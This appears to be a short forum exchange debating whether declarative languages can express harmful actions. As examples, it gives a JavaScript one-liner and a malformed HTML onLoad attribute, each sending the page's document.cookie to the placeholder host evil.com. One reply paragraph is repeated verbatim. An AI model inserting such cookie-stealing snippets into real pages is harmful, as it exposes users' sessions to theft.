Sure it is.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:
<body onLoad="http.GET('http://evil.com/"+document.cookie')">
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: